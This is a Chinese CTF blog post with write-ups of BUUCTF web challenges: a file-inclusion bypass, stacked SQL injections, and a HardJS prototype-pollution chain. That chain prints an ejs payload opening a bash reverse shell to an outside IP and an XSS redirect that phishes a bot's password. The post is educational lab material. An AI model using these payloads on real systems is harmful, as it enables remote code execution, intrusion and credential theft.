本文最后更新于:星期二, 六月 16日 2020, 2:30 下午

BUUCTF部分题目的笔记

持续更新

[HCTF 2018]WARMUP

进题目就是一张滑稽,右键看源码,有一个hint指向source.php,打开看看,源码给出来了

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

一个比较明显的文件包含,关键是要满足checkFile()这个函数,有三个方式可以满足这个函数:

  1. 传入的file包含在白名单[source.php, hint.php]中(这个显然没有什么用处了)
  2. 传入的file由第一个出现的?分割,?前面出现的页面在白名单中
  3. 传入的file经过url解码之后,由第一个出现的?分割,?前面出现的页面在白名单中

打开hint.php看一看,有一道提示flag not here, and flag in ffffllllaaaagggg

我们可以利用第二点或者第三点来绕过,在?前面使用白名单中的页面,后面使用目录穿越,使php将?前面的部分识别为目录,例如source.php?/../flag,这样/前面的部分就会被解释为路径

最后flag在根目录下,payload:source.php?file=hint.php?/../../../../ffffllllaaaagggg

后面经过查阅资料发现出题思路来自phpmyadmin的一个CVE:phpmyadmin4.8.1远程文件包含漏洞(CVE-2018-12613)

[强网杯 2019] 随便注

自己做这道题的时候,由于发现 select,where等关键词都被过滤了,首先考虑到的是bool盲注,虽然注出了库名,但是后面的跨表查询完全没有思路,查了dalao的wp发现一些骚操作,记录一下。

  1. 堆叠注入

    这个我完全没有考虑到,题刷少了。show关键字没有过滤,可以通过show databases|show tables来获取表名以及数据库名,重点是可以查询到表中的字段名show columns from <tablename>

  2. 通过修改表名达到查询flag的效果(rename, alter)

    通过堆叠注入发现后端查询的表名为words,查询语句大概为select * from words where id=$GET['inject'],而flag在当前数据库的另一个表1919810931114514中,word中的字段包括id, data,所以可以通过rename语句修改表中字段名,再使用alter语句添加一个id字段,达到查询flag的效果

    payload:1’;rename table words to word1;rename table`1919810931114514` to words;alter table words add id int unsigned not null auto_increment primary key#

    接下来只需要查询所有id就可以了:1’ or 1=1#

  3. 通过设置变量,并使用mysql的预处理以及执行绕过正则表达式的筛查

    先贴payload:1’;set @a=concat(“sel”,”ect flag from words”);prepare hello from @a;execute hello#

    但是被过滤了strstr($inject, "set") && strstr($inject, "prepare")

    不过strstr不区分大小写,可以使用大小写绕过,所以这里应该是原题的预期解,用这个方法我们理论上可以执行任何语句

    最终payload:1’;sEt @a=concat(“sel”,”ect flag from words”);Prepare hello from @a;execute hello#

    这个payload先定义了一个变量,使用拼接的方式绕过了对select的检测,然后使用prepare这个预处理语句给这个语句分配了名字,之后可以用execute语句执行,用deallocate prepare语句释放该名字。

这里再插一道该题的升级版,复旦的新生赛:

[FudanCTF 2019] 你再注试试

这道题在上一题的基础上过滤了set、prepare等关键字:return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

这里就需要用到mysql的新特性handler:https://dev.mysql.com/doc/refman/8.0/en/handler.html

例如:

那这道题的payload就显而易见了,先用堆叠注入show tables获取表名,然后直接:

1’;handler`1919810931114514` open as `test`;handler `test` read next;#

[SUCTF 2019] EasySQL

这个SQL语句的逻辑是select @_POST['query'] || flag from Flag是我完全没有想到的,查到的wp好像都是基于知道这个逻辑的前提下完成的。

自己做的时候由于from,prepare被过滤,很多路都走不通

涉及知识点:

  1. 堆叠注入

  2. * 号无过滤,可以直接通过*, 1实现注入(以后多留个心眼

  3. 可以通过将MySQL的全局变量@sql_mode修改成PIPE_AS_CONCAT,这个变量的意思是将||不视为或运算符,而是将其视为字符串的连接符

    依此,可以得到payload:1;set sql_mode=pipes_as_concat;select 1

[XCUNA 2019 Qualifier] HardJS

进来是一个登陆/注册界面,注册后登陆可以进入应用。寻找半天无果,扫目录也没看到源码泄露。

无奈去网上找找wp,发现原来比赛当时是给了源码的(…

把源码下下来审审吧。

server.js中是服务器的主要逻辑代码,可以看到其使用了ejs作为渲染引擎,并使用了中间件body-parser,通过这一行代码

app.use(bodyParser.urlencoded({extend: true})).use(bodyParser.json())

说明服务器会接收POST传过来的json数据,而且我也知道这道题目的考察点就是原型链污染(因为就是奔着掌握这个知识点来刷题的),那么我们就可以通过这个接口传入参数到服务端了。

那接下来就是污染链的寻找了。但是我确实是对node.js的了解太少了,先放几个链接:

深入理解JavaScript Prototype污染攻击

JavaScript 原型链污染

帮你彻底搞懂JS中的prototype、proto与constructor(图解)

然后是关于本题的WriteUp

XCUNA官方WriteUp

https://www.secshi.com/19993.html

这道题目值得花时间好好研究一下。

首先说说原型链污染出现的情况:因为js有这样一个特性,当你调用js对象中的某个属性时,如果在当前对象中找不到,js会通过__proto__属性找到该对象的父类的prototype属性,再去父类中寻找你调用的属性。那也就是说,如果我们可以控制父类,往父类中添加属性,那么理论上我们就可以控制子类,以达到篡改程序或执行命令的目的。最常出现污染的函数就是类似mergeclone一类的函数

还有一个重点就是关于__proto__作为键名解析的问题,这个问题在p神的博客中写的很清楚了(就是第一个链接),这里不再赘述,重点就是我们需要用JSON.parse()函数使得我们传入的__proto__作为键名解析,如果直接传入字符串,则它会直接被引用。(前面说到:这道题目接受JSON数据,要是不接受JSON数据,理论上是没有办法进行污染的)

回到这道题目,那这道题可以进行污染的地方在下面这块代码:

app.get("/get",auth,async function(req,res,next){

    var userid = req.session.userid ; 
    var sql = "select count(*) count from `html` where userid= ?"
    // var sql = "select `dom` from  `html` where userid=? ";
    var dataList = await query(sql,[userid]);

    if(dataList[0].count == 0 ){
        res.json({})

    }else if(dataList[0].count > 5) { // if len > 5 , merge all and update mysql
        
        console.log("Merge the recorder in the database."); 

        var sql = "select `id`,`dom` from  `html` where userid=? ";
        var raws = await query(sql,[userid]);
        var doms = {}
        var ret = new Array(); 

        for(var i=0;i<raws.length ;i++){
            lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));

            var sql = "delete from `html` where id = ?";
            var result = await query(sql,raws[i].id);
        }
        var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
        var result = await query(sql,[userid, JSON.stringify(doms) ]);

        if(result.affectedRows > 0){
            ret.push(doms);
            res.json(ret);
        }else{
            res.json([{}]);
        }

    }else {

        console.log("Return recorder is less than 5,so return it without merge.");
        var sql = "select `dom` from  `html` where userid=? ";
        var raws = await query(sql,[userid]);
        var ret = new Array();

        for( var i =0 ;i< raws.length ; i++){
            ret.push(JSON.parse( raws[i].dom ));
        }

        console.log(ret);
        res.json(ret);
    }

});

当datalist的长度大于5时,会执行这一条语句

lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));

loadsh插件的defaultsDeep是存在着漏洞的CVE-2019-10744

Lodash是一个一致性、模块化、高性能的JavaScript 实用原生库,不需要引入其他第三方依赖,意在提高开发者效率,提高JS原生方法性能。它通过降低array、number、objects、string 等等的使用难度从而让 JavaScript 变得更简单。此软件包的<4.17.12版本会受到原型污染的影响。

在Lodash库中defaultsDeep函数可以进行构造函数(constructor)重载,通过构造函数重载的方式可以欺骗添加或修改Object.prototype的属性,这个性质可以被用于原型污染。

验证POC:

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'
function check() {
    mergeFn({}, JSON.parse(payload));
    if (({})[`a0`] === true) {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
    }
}
check();

然后是如何让datalist的长度大于5,那就是通过server.js定义的/add接口

app.post("/add",auth,async function(req,res,next){

    if(req.body.type && req.body.content){

        var newContent = {}
        var userid = req.session.userid;

        newContent[req.body.type] = [ req.body.content ]

        console.log("newContent:",newContent);

        var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
        var result = await query(sql,[userid, JSON.stringify(newContent) ]);

        if(result.affectedRows > 0){
            res.json(newContent);
        }else{
            res.json({});
        }
    }

我们只需要构造type和content两个键值,将Content-Type设置为application/json,然后post访问该接口5次以上便可以

污染点找到了,接下来是如何利用原型链污染来获取Flag,这道题目有两种方式:

  1. 利用ejs渲染引擎的污染链

    因为server.js调用了ejs作为模板渲染引擎,经过调试跟进,可以在ejs.js中发现如下代码

    compile: function () {
    if (opts.outputFunctionName) {
            prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
          }
    ...
    src = this.source;
    ...
    fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
    // Return a callable function which will execute the function

    这段代码的意思便是,opt.outputFunctionName会被作为字符串拼接到prepended中,然后到srcfn最终作为代码执行。而且opt.outputFunctionName这个成员在函数的上下文中完全没有出现过,也就是undefined那么我们通过给Object.prototype加上这一属性,就可以达到RCE的效果了

    payload如下:

    {"type":"test","content":{"constructor":{"prototype":
    {"outputFunctionName":"a=1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/174.0.223.218/2333 0>&1\"')//"}}}} //BUU机器不通外网,需要申请Basic下的Linux-Lab内网机器

    /add接口POST 6次,然后再访问一次/get,再访问//login触发render()函数即可

    FLAG在环境变量中

  2. 利用JQuery $.extend污染链+XSS

    这一方法的思路是来自于robot.py,也就是出题人写的机器人,用于自动访问网站并登录(我反正是完全没有看到这个文件…)里面机器人将环境变量$FLAG作为密码进行登录,所以自然可以想到这个思路

    在控制台中输入$.fn.jquery可以看到JQuery的版本号为3.3.0存在着$.extend原型链污染漏洞CVE-2019-11358

    ./src/core.js中:

    155: if ((options = arguments[ i ]) != null)

    如果传入的参数arguments[i]不为空,将赋值给options,随后会逐个取出并赋值给copy

    158: for (name in options) {
    159:     copy= options [name];

    因此copy值为外部可控

    183: target[name] = jQuery.extend (deep,clone, copy);

    随后使用jQuery的extend函数将copy对象的内容合并到目标对象clone中,deep是它的可选参数,指示是否深度合并该对象,默认为false,如果为true,且多个对象的同名属性也都是对象,则该“属性对象“的属性也将进行合并。其中,extend函数有以下两个需要注意的地方:

    1. 如果只为$.extend()指定了一个参数,则意味着参数target被省略。此时,target就是jQuery对象本身。通过这种方式,我们可以为全局对象jQuery添加新的函数。
    127:target = arguments[ 0 ] || {},
    1. 如果多个对象具有相同的属性,则后者会覆盖前者的属性值。

    在小于3.4.0版中extend方法不作检查,把copy对象合并到target对象中

    187:target[name] = copy;

    如果 name 可以为 __proto__,则会向上影响target 的原型,进而覆盖造成原型污染。

    下面为验证POC

    >let b = $.extend(true,{},JSON.parse('{"__proto__":{"vuln": true}}')) <undefined >console.log({}.vuln); <true <undefined

    可以看到当已经发生了原型污染

    在补丁中可以看到对属性值进行了过滤:

    for ( name in options ) { copy = options[ name ]; // Prevent Object.prototype pollution // Prevent never-ending loop if ( target === copy ) { if ( nam

再看到app.js中调用到$.extend()的部分

function getAll(allNode){
	$.ajax({
		url:"/get",
		type:"get",
		async:false,
		success: function(datas){
			for(var i=0 ;i<datas.length; i++){
				$.extend(true,allNode,datas[i])
			}
			// console.log(allNode);
		}
	})
}

该函数会将后端返回的所有数据(也就是数据库中的信息)复制到allNode变量中,那我们就可以通过返回一个键值__proto__,进行原型链污染,污染前端的Object.prototype

那如何进行利用?

由于服务器在页面上定义了一个iframe,并且没有设置allow-script选项,所以即使我们可以控制iframe的内容,但是无法在iframe中执行脚本,但是我们可以看到ready()函数下有这一段代码

// init hint 
	(function(){
		var hints = {
			header : "自定义内容",
			notice: "自定义公告",
			wiki : "自定义wiki",
			button:"自定义内容",
			message: "自定义留言内容"
		};
		for(key in hints){
			// console.log(key);
			element = $("li[type='"+key+"']"); 
			if(element){
				element.find("span.content").html(hints[key]);
			}
		}
	})();

也就是说,hints中的所有键值都会被取出,并写入到外层的<li type=key></li>中,那如果我们可以找到一个形似这样的标签的,就可以往页面中写入脚本了,那么我们搜索一下主页,发现了这个标签:<li type=logger>,那么就只需要污染Object.prototype,使其含有键值logger,并且内容为我们可控的js,就可以实现XSS了。

那接下来就是正常的XSS流程了,我们知道机器人会将flag作为密码提交到后台,那么我们可以写入一个重定向window.location=url将页面重定向到我们的页面上,并在我们的页面上写上表单,让机器人提交即可

所以首先我们要先污染req.session.loginreq.session.id使机器人访问时可以绕过登录,payload:

{"type":"test","content":{"constructor":{"prototype":{"login":true,"userid":true}}}}

带着这个json访问/add6次,然后先访问/get再访问/触发污染

之后写入以下payload:

{"type":"test","content":{"__proto__":{"logger":"<script>window.location='http://174.0.224.116:8000'</script>"}}}

可以发现你自己访问的时候已经有一个跳转了

之后写一个简单的钓鱼页面,硬钓robot(x

<html>
    <body>
        <form>
            <input type="text" name="username">
            <input type="password" name="password">
            <input type="submit" value="Submit">
        </form>
    </body>
</html>

在机子目录下面起一个SimpleHTTPServer就可以X到flag了

hardjs-xss

这道题真的出的很不错…我也是研究了很长一段时间,还是tcl,javascript的语法都不够熟练,了解也太少了。

[HCTF 2018] admin

打开题目发现是一个页面,右上角菜单栏有两个选项login和register,结合题目名称应该是要使用admin登录,简单的测试了几个弱密码,没有成功登陆,于是随便注册了个账号登录

登录后右上角菜单栏有4个路由/index/edit/change/logout,用dirsearch扫了一下没有发现源码或者其他路由。

/edit路由有一个表单,可以提交,但是点击提交之后没看到前端界面有什么变化

/change路由可以修改用户密码

翻了翻没看见什么有价值的东西,觉得


本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

Golang学习笔记 上一篇
个人Blog搭建笔记 下一篇